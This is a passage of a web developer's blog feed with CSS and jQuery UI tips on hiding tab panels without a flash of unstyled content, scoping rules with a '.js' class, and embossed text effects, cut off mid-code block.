&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.js&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .tabs&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ul&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Applying jQuery UI tabs&lt;/h2&gt;
&lt;p&gt;By doing a &lt;code&gt;$(&#39;.tabs&#39;).tabs();&lt;/code&gt; jQuery UI will treat your &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; as your tab
menu and all your &lt;code&gt;.tabPanel&lt;/code&gt; as their corresponding contents. It will hide all
your panels, except for the first one. It does so by adding a &lt;code&gt;.ui-tabs- panel&lt;/code&gt;
class to every &lt;code&gt;.tabPanel&lt;/code&gt; as well as a &lt;code&gt;.ui-tabs-hide&lt;/code&gt; to every panel it hides.&lt;/p&gt;
&lt;p&gt;Right now, you should add another CSS rule to hide the unused panels:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.ui-tabs-hide&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But if you look at your page now, you&#39;ll see all your tabs content before they
get hidden. That is the FOUC I was talking about. The jQuery UI documentation
indicate that to remove it, you should directly add the &lt;code&gt;.ui-tabs-hide&lt;/code&gt; class to
panels you&#39;ll want to hide.&lt;/p&gt;
&lt;p&gt;As also pointed in the doc, it will not gracefully degrade because users without
Javascript won&#39;t even be able to see your other tabs. Also, it asks you to add
server-side logic (HTML markup with jQuery specific classes) for something that
should be handled entirely client-side.&lt;/p&gt;
&lt;h2&gt;Removing the FOUC while gracefully degrade&lt;/h2&gt;
&lt;p&gt;Ok, so what I did was writing two simple rules that will directly hide all
unused panels while still displaying the active one, even before jQuery UI takes
action.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.js&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .tabPanel&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .tabPanel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That way, no FOUC, and users without Javascript still see all the content.
Unfortunatly, if you now try clicking on your tabs, you&#39;ll see that nothing
happens and you get stuck with your default panel always visible.&lt;/p&gt;
&lt;h2&gt;Fixing the jQuery UI tabs&lt;/h2&gt;
&lt;p&gt;As jQuery will add new classes to my elements, I&#39;ll just have to write more
specific rules that use those classes. Here&#39;s the little piece of logic I came
up with:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.js&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .tabPanel.ui-tabs-panel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.js&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; .tabPanel.ui-tabs-panel.ui-tabs-hide&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All the jQuery panels are shown, except for the one hidden by jQuery. All those
rules being more and more specific, they will get applied once the tabs are
activated but still override the previous &lt;code&gt;display:&lt;/code&gt; declarations.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This is how I fixed an issue that was bugging me for years. Unfortunatly the CSS
rules being dependent on the markup used, I haven&#39;t yet been able to write them
in a global form that could be added to the main jQuery UI css files.&lt;/p&gt;
&lt;p&gt;*[FOUC]: Flash Of Unstyled Content&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>CSS for Javascript enabled browsers</title>
    <link href="https://blog.pixelastic.com/2010/08/21/css-for-javascript-enabled-browsers/"/>
    <updated>2010-08-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/21/css-for-javascript-enabled-browsers</id>
    <content type="html">&lt;p&gt;In a previous post I was wondering if my way of loading js-specific CSS rules
was right. I was loading a specific css file for js overrides.&lt;/p&gt;
&lt;p&gt;This allow for lighter stylesheets for users without Javascript (they won&#39;t load
useless rules), but also resulted in slower rendering for other users because
they needed to load two stylesheets instead of one.&lt;/p&gt;
&lt;p&gt;After much pondering, I now think that loading all the rules in one stylesheet
is the way to go.&lt;/p&gt;
&lt;p&gt;In addition with the number of request mentionned, keeping all your rules in the
same file is much more easier to maintain. Js-specific rules aren&#39;t that big
either so the small additional bytes are usually better than a full http
request.&lt;/p&gt;
&lt;p&gt;I now prefix all my Javascript rules by &lt;code&gt;.js&lt;/code&gt;. I add a &lt;code&gt;js&lt;/code&gt; class to the &lt;code&gt;html&lt;/code&gt;
element directly from the &lt;code&gt;head&lt;/code&gt;, this helps in preventing any FOUC that may
occur because we add the class before the &lt;code&gt;body&lt;/code&gt; rendering.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;documentElement&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;className&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39; js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Text emboss in CSS</title>
    <link href="https://blog.pixelastic.com/2010/08/19/text-emboss-in-css/"/>
    <updated>2010-08-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/19/text-emboss-in-css</id>
    <content type="html">&lt;p&gt;I know only two &lt;em&gt;unperfect&lt;/em&gt; ways of displaying an emboss text in CSS. As we
can&#39;t use inset shadows with &lt;code&gt;text-shadow&lt;/code&gt;, unlike &lt;code&gt;box-shadow&lt;/code&gt;, we have to
resort to other hacky ways.&lt;/p&gt;
&lt;p&gt;Let me show you what can be done.&lt;/p&gt;
&lt;h2&gt;Simulate it with an optical illusion&lt;/h2&gt;
&lt;p&gt;Instead of creating a real inner shadow, you can just create an optical illusion
by adding the correct shadow to make the viewer believe your text is embossed.&lt;/p&gt;
&lt;p&gt;If you have dark text, just add a subtle white shadow at the bottom, while if
you have light text, just add a subtle black one at the top.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;emboss light&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Lorem ipsum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;emboss dark&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Lorem ipsum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.emboss&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; font-size&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1.2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;em&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;padding&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;font-weight&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;bold&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#0A539C&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.light&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#FFFFFF&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;text-shadow&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; -1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; rgba&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0.9&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.dark&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#000000&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;text-shadow&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; rgba&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added an &lt;code&gt;emboss&lt;/code&gt; class to more easily spot the effect, but the important code
is in the &lt;code&gt;light&lt;/code&gt; and &lt;code&gt;dark&lt;/code&gt; rules.&lt;/p&gt;
&lt;h2&gt;Add an almost transparent layer&lt;/h2&gt;
&lt;p&gt;For this second solution we will simply add a second layer with the exact same
text above the first text. Just slightly moving it and making it partly
transparent.&lt;/p&gt;
&lt;p&gt;You could add twice your element in your markup, but that would be bad for
accesibility as well as SEO, so we&#39;ll instead use the &lt;code&gt;:before&lt;/code&gt; pseudo-class.&lt;/p&gt;
&lt;p&gt;We can set the &lt;code&gt;:before&lt;/code&gt; content using the &lt;code&gt;content:&lt;/code&gt; property, and we can also
use the &lt;code&gt;attr()&lt;/code&gt; method to get the content of one of our element&#39;s attributes.
We just need to put the exact same text in one of our attributes and we&#39;re good
to go.&lt;/p&gt;
&lt;p&gt;This can be easily done with a link and its &lt;code&gt;title&lt;/code&gt; attribute.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;emboss lightAgain&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; title&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Lorem ipsum&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Lorem ipsum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;emboss darkAgain&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; title&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Lorem ipsum&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Lorem ipsum&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.lightAgain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#FFFFFF&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.lightAgain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:before&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;rgba&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0.1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;-1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  left&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;-1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  padding&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.darkAgain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; color&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#000000&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.darkAgain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:before&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
